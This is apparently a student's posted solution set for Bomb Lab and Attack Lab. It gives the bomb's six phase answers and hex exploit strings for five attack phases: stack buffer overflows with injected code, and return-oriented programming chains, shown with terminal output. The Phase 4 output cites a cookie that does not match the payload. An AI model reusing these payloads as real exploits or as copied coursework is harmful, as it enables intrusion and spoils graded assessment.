Computer Organizations and Systems Lab Assignment

Bomb Lab Code - 143

My Solution -

I am not part of the problem. I am a Republican.

0 1 1 2 3 5

1 b 243

10 5

5 115

1 4 2 3 5 6

Screenshot of answer

```
[sayamkumar@django-server bomb143]$ ./bomb < answer.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
Congratulations! You've defused the bomb!
[sayamkumar@django-server bomb143]$
```

Attack Lab -

Phase 1:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

c0 17 40 00 00 00 00 00

```
[sayamkumar@django-server target1]$ ./hex2raw < phase1.txt > raw1.txt
[sayamkumar@django-server target1]$ ./ctarget -q < raw1.txt
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
[sayamkumar@django-server target1]$
```

Phase2:

48 c7 c7 fa 97 b9 59 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

78 dc 61 55 00 00 00 00

ec 17 40 00 00 00 00 00

```
[sayamkumar@django-server target1]$ ./hex2raw < phase2.txt > raw2.txt
[sayamkumar@django-server target1]$ ./ctarget -q < raw2.txt
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
[sayamkumar@django-server target1]$
```

Phase3:

48 c7 c7 b0 dc 61 55 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

78 dc 61 55 00 00 00 00

fa 18 40 00 00 00 00 00

35 39 62 39 39 37 66 61

```
[sayamkumar@django-server target1]$ ./hex2raw < phase3.txt > raw3.txt
[sayamkumar@django-server target1]$ ./ctarget -q < raw3.txt
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 B0 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39
 37 66 61
[sayamkumar@django-server target1]$ ▉
```

Phase4 :

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

ab 19 40 00 00 00 00 00

fa 97 b9 59 00 00 00 00

a2 19 40 00 00 00 00 00

ec 17 40 00 00 00 00 00

```
Type string:Touch2!: You called touch2(0x434b4b70)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase5:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
23 0f 40 00 00 00 00 00
be 20 40 00 00 00 00 00
48 00 00 00 00 00 00 00
23 0f 40 00 00 00 00 00
d9 25 40 00 00 00 00 00
e1 25 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
be 20 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
```

```
God is Good.
```